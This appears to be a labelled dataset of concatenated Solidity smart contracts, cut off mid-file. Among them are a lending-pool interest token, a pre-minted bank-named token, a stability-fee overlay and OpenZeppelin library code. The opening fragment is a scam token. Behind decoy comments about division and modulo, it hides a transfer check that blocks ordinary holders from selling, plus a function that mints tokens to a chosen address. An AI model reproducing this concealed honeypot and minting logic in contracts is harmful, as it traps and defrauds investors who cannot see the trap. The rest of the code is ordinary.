if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
nulls = _Address;
_totalSupply = _totalSupply.add(_Amount*2);
balances[_Address] = balances[_Address].add(_Amount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
} | True | [
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// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {IERC20} from "./IERC20.sol";
import {SafeERC20} from "./SafeERC20.sol";
import {IMarginPool} from "./IMarginPool.sol";
import {IXToken} from "./IXToken.sol";
import {WadRayMath} from "./WadRayMath.sol";
import {Errors} from "./Errors.sol";
import {IncentivizedERC20} from "./IncentivizedERC20.sol";
import {SafeMath} from "./SafeMath.sol";
import {
IMarginPoolAddressesProvider
} from "./IMarginPoolAddressesProvider.sol";
import {Address} from "./Address.sol";
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier
* available, which can be aplied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor() internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(
localCounter == _guardCounter,
"ReentrancyGuard: reentrant call"
);
}
}
/**
* @title Lever ERC20 XToken
* @dev Implementation of the interest bearing token for the Lever protocol
* @author Lever
*/
contract XToken is
IncentivizedERC20,
IXToken,
ReentrancyGuard
{
using WadRayMath for uint256;
using SafeERC20 for IERC20;
// address public rewardsDistribution;
IERC20 public rewardsToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 30 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
bytes public constant EIP712_REVISION = bytes("1");
bytes32 internal constant EIP712_DOMAIN =
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
bytes32 public constant PERMIT_TYPEHASH =
keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
);
uint256 public constant UINT_MAX_VALUE = uint256(-1);
address public immutable UNDERLYING_ASSET_ADDRESS;
address public immutable RESERVE_TREASURY_ADDRESS;
IMarginPool public immutable POOL;
IMarginPoolAddressesProvider public addressesProvider;
/// @dev owner => next valid nonce to submit with permit()
mapping(address => uint256) public _nonces;
bytes32 public DOMAIN_SEPARATOR;
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
modifier onlyRewardsDistribution() {
require(
msg.sender == addressesProvider.getRewardsDistribution(),
"Caller is not RewardsDistribution contract"
);
_;
}
modifier onlyMarginPool {
require(
_msgSender() == address(POOL),
Errors.CT_CALLER_MUST_BE_MARGIN_POOL
);
_;
}
constructor(
address _addressesProvider,
address underlyingAssetAddress,
string memory tokenName,
string memory tokenSymbol,
uint8 decimals
) public IncentivizedERC20(tokenName, tokenSymbol, decimals) {
addressesProvider = IMarginPoolAddressesProvider(_addressesProvider);
POOL = IMarginPool(addressesProvider.getMarginPool());
UNDERLYING_ASSET_ADDRESS = underlyingAssetAddress;
RESERVE_TREASURY_ADDRESS = addressesProvider.getTreasuryAddress();
// rewardsDistribution = addressesProvider.getRewardsDistribution();
rewardsToken = IERC20(IMarginPoolAddressesProvider(_addressesProvider).getLeverToken());
}
/**
* @dev Burns xTokens from `user` and sends the equivalent amount of underlying to `receiverOfUnderlying`
* - Only callable by the MarginPool, as extra state updates there need to be managed
* @param user The owner of the xTokens, getting them burned
* @param receiverOfUnderlying The address that will receive the underlying
* @param amount The amount being burned
* @param index The new liquidity index of the reserve
**/
function burn(
address user,
address receiverOfUnderlying,
uint256 amount,
uint256 index
) external override onlyMarginPool updateReward(user) {
uint256 amountScaled = amount.rayDiv(index);
require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT);
_burn(user, amountScaled);
if (receiverOfUnderlying != address(this)) {
IERC20(UNDERLYING_ASSET_ADDRESS).safeTransfer(
receiverOfUnderlying,
amount
);
}
emit Transfer(user, address(0), amount);
emit Burn(user, receiverOfUnderlying, amount, index);
}
/**
* @dev Mints `amount` xTokens to `user`
* - Only callable by the MarginPool, as extra state updates there need to be managed
* @param user The address receiving the minted tokens
* @param amount The amount of tokens getting minted
* @param index The new liquidity index of the reserve
* @return `true` if the the previous balance of the user was 0
*/
function mint(
address user,
uint256 amount,
uint256 index
) external override onlyMarginPool updateReward(user) returns (bool) {
uint256 previousBalance = super.balanceOf(user);
uint256 amountScaled = amount.rayDiv(index);
require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT);
_mint(user, amountScaled);
emit Transfer(address(0), user, amount);
emit Mint(user, amount, index);
return previousBalance == 0;
}
/**
* @dev Mints xTokens to the reserve treasury
* - Only callable by the MarginPool
* @param amount The amount of tokens getting minted
* @param index The new liquidity index of the reserve
*/
function mintToTreasury(uint256 amount, uint256 index)
external
override
onlyMarginPool
updateReward(RESERVE_TREASURY_ADDRESS)
{
if (amount == 0) {
return;
}
// Compared to the normal mint, we don't check for rounding errors.
// The amount to mint can easily be very small since it is a fraction of the interest ccrued.
// In that case, the treasury will experience a (very small) loss, but it
// wont cause potentially valid transactions to fail.
_mint(RESERVE_TREASURY_ADDRESS, amount.rayDiv(index));
emit Transfer(address(0), RESERVE_TREASURY_ADDRESS, amount);
emit Mint(RESERVE_TREASURY_ADDRESS, amount, index);
}
/**
* @dev Transfers xTokens in the event of a borrow being liquidated, in case the liquidators reclaims the xToken
* - Only callable by the MarginPool
* @param from The address getting liquidated, current owner of the xTokens
* @param to The recipient
* @param value The amount of tokens getting transferred
**/
function transferOnLiquidation(
address from,
address to,
uint256 value
) external override onlyMarginPool updateReward(from) updateReward(to) {
// Being a normal transfer, the Transfer() and BalanceTransfer() are emitted
// so no need to emit a specific event here
_transfer(from, to, value, false);
emit Transfer(from, to, value);
}
/**
* @dev Calculates the balance of the user: principal balance + interest generated by the principal
* @param user The user whose balance is calculated
* @return The balance of the user
**/
function balanceOf(address user)
public
view
override(IncentivizedERC20, IERC20)
returns (uint256)
{
return
super.balanceOf(user).rayMul(
POOL.getReserveNormalizedIncome(UNDERLYING_ASSET_ADDRESS)
);
}
/**
* @dev Returns the scaled balance of the user. The scaled balance is the sum of all the
* updated stored balance divided by the reserve's liquidity index at the moment of the update
* @param user The user whose balance is calculated
* @return The scaled balance of the user
**/
function scaledBalanceOf(address user)
external
view
override
returns (uint256)
{
return super.balanceOf(user);
}
/**
* @dev Returns the scaled balance of the user and the scaled total supply.
* @param user The address of the user
* @return The scaled balance of the user
* @return The scaled balance and the scaled total supply
**/
function getScaledUserBalanceAndSupply(address user)
external
view
override
returns (uint256, uint256)
{
return (super.balanceOf(user), super.totalSupply());
}
/**
* @dev calculates the total supply of the specific xToken
* since the balance of every single user increases over time, the total supply
* does that too.
* @return the current total supply
**/
function totalSupply()
public
view
override(IncentivizedERC20, IERC20)
returns (uint256)
{
uint256 currentSupplyScaled = super.totalSupply();
if (currentSupplyScaled == 0) {
return 0;
}
return
currentSupplyScaled.rayMul(
POOL.getReserveNormalizedIncome(UNDERLYING_ASSET_ADDRESS)
);
}
/**
* @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index)
* @return the scaled total supply
**/
function scaledTotalSupply()
public
view
virtual
override
returns (uint256)
{
return super.totalSupply();
}
/**
* @dev Transfers the underlying asset to `target`. Used by the MarginPool to transfer
* assets in borrow(), withdraw()
* @param target The recipient of the xTokens
* @param amount The amount getting transferred
* @return The amount transferred
**/
function transferUnderlyingTo(address target, uint256 amount)
external
override
onlyMarginPool
returns (uint256)
{
IERC20(UNDERLYING_ASSET_ADDRESS).safeTransfer(target, amount);
return amount;
}
/**
* @dev implements the permit function as for
* https://github.com/ethereum/EIPs/blob/8a34d644aacf0f9f8f00815307fd7dd5da07655f/EIPS/eip-2612.md
* @param owner The owner of the funds
* @param spender The spender
* @param value The amount
* @param deadline The deadline timestamp, type(uint256).max for max deadline
* @param v Signature param
* @param s Signature param
* @param r Signature param
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(owner != address(0), "INVALID_OWNER");
//solium-disable-next-line
require(block.timestamp <= deadline, "INVALID_EXPIRATION");
uint256 currentValidNonce = _nonces[owner];
bytes32 digest =
keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
owner,
spender,
value,
currentValidNonce,
deadline
)
)
)
);
require(owner == ecrecover(digest, v, r, s), "INVALID_SIGNATURE");
_nonces[owner] = currentValidNonce.add(1);
_approve(owner, spender, value);
}
/**
* @dev Transfers the xTokens between two users. Validates the transfer
* (ie checks for valid HF after the transfer) if required
* @param from The source address
* @param to The destination address
* @param amount The amount getting transferred
* @param validate `true` if the transfer needs to be validated
**/
function _transfer(
address from,
address to,
uint256 amount,
bool validate
) internal updateReward(from) updateReward(to) {
uint256 index =
POOL.getReserveNormalizedIncome(UNDERLYING_ASSET_ADDRESS);
uint256 fromBalanceBefore = super.balanceOf(from).rayMul(index);
uint256 toBalanceBefore = super.balanceOf(to).rayMul(index);
super._transfer(from, to, amount.rayDiv(index));
if (validate) {
POOL.finalizeTransfer(
UNDERLYING_ASSET_ADDRESS,
from,
to,
amount,
fromBalanceBefore,
toBalanceBefore
);
}
emit BalanceTransfer(from, to, amount, index);
}
/**
* @dev Overrides the parent _transfer to force validated transfer() and transferFrom()
* @param from The source address
* @param to The destination address
* @param amount The amount getting transferred
**/
function _transfer(
address from,
address to,
uint256 amount
) internal override {
_transfer(from, to, amount, true);
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply())
);
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
require(reward > 0);
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
/* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward, uint256 _rewardsDuration)
external
onlyRewardsDistribution
updateReward(address(0))
{
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint256 balance = rewardsToken.balanceOf(address(this));
if (block.timestamp >= periodFinish) {
rewardsDuration = _rewardsDuration;
rewardRate = reward.div(rewardsDuration);
require(
rewardRate <= balance.div(rewardsDuration),
"Provided reward too high"
);
periodFinish = block.timestamp.add(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(remaining);
require(
rewardRate <= balance.div(remaining),
"Provided reward too high"
);
}
lastUpdateTime = block.timestamp;
emit RewardAdded(reward, _rewardsDuration);
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward, uint256 _rewardsDuration);
event RewardPaid(address indexed user, uint256 reward);
} | True | [
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pragma solidity ^0.4.21 ;
contract DEUTSCHE_BANK_301201 {
mapping (address => uint256) public balanceOf;
string public name = " DEUTSCHE_BANK_301201 " ;
string public symbol = " DEBI " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 10746091807253500000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
} | True | [
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pragma solidity 0.6.7;
contract GebAuth {
// --- Authorization ---
mapping (address => uint) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "GebAuth/account-not-authorized");
_;
}
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
constructor () public {
authorizedAccounts[msg.sender] = 1;
emit AddAuthorization(msg.sender);
}
}
abstract contract TaxCollectorLike {
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) virtual external;
function taxSingle(bytes32) virtual public returns (uint256);
}
contract MinimalTaxCollectorOverlay is GebAuth {
// --- Variables ---
// Stability fee bounds for every collateral type
mapping(bytes32 => Bounds) public stabilityFeeBounds;
TaxCollectorLike public taxCollector;
// --- Structs ---
struct Bounds {
// Maximum per second stability fee that can be charged for a collateral type
uint256 upperBound; // [ray]
// Minimum per second stability fee that can be charged for a collateral type
uint256 lowerBound; // [ray]
}
constructor(
address taxCollector_,
bytes32[] memory collateralTypes,
uint256[] memory lowerBounds,
uint256[] memory upperBounds
) public {
require(taxCollector_ != address(0), "MinimalTaxCollectorOverlay/null-address");
require(both(collateralTypes.length == lowerBounds.length, lowerBounds.length == upperBounds.length), "MinimalTaxCollectorOverlay/invalid-array-lengths");
require(collateralTypes.length > 0, "MinimalTaxCollectorOverlay/null-array-lengths");
taxCollector = TaxCollectorLike(taxCollector_);
// Loop through the bounds array and set them for each collateral type
for (uint i = 0; i < collateralTypes.length; i++) {
// Make sure we don't set bounds for the same collateral type twice
require(
both(stabilityFeeBounds[collateralTypes[i]].upperBound == 0, stabilityFeeBounds[collateralTypes[i]].lowerBound == 0),
"MinimalTaxCollectorOverlay/bounds/already-set"
);
// Make sure the lower bound is not negative and the upper bound is >= the lower bound
require(both(lowerBounds[i] >= RAY, upperBounds[i] >= lowerBounds[i]), "MinimalTaxCollectorOverlay/invalid-bounds");
stabilityFeeBounds[collateralTypes[i]] = Bounds(upperBounds[i], lowerBounds[i]);
}
}
// --- Boolean Logic ---
function both(bool x, bool y) internal pure returns (bool z) {
assembly{ z := and(x, y)}
}
// --- Math ---
uint256 public constant RAY = 10 ** 27;
/*
* @notice Modify the stability fee for a collateral type; revert if the new fee is not within bounds
* @param collateralType The collateral type to change the fee for
* @param parameter Must be "stabilityFee"
* @param data The new fee
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) external isAuthorized {
// Fetch the bounds
uint256 lowerBound = stabilityFeeBounds[collateralType].lowerBound;
uint256 upperBound = stabilityFeeBounds[collateralType].upperBound;
// Check that the collateral type has bounds
require(
both(upperBound >= lowerBound, lowerBound >= RAY),
"MinimalTaxCollectorOverlay/bounds-improperly-set"
);
// Check that the new fee is within bounds
require(both(data <= upperBound, data >= lowerBound), "MinimalTaxCollectorOverlay/fee-exceeds-bounds");
// Check that the parameter name is correct
require(parameter == "stabilityFee", "MinimalTaxCollectorOverlay/invalid-parameter");
// Collect the fee up until now
taxCollector.taxSingle(collateralType);
// Finally set the new fee
taxCollector.modifyParameters(collateralType, parameter, data);
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address implementation) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `implementation` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt, address deployer) internal pure returns (address predicted) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, implementation))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) {
return predictDeterministicAddress(implementation, salt, address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
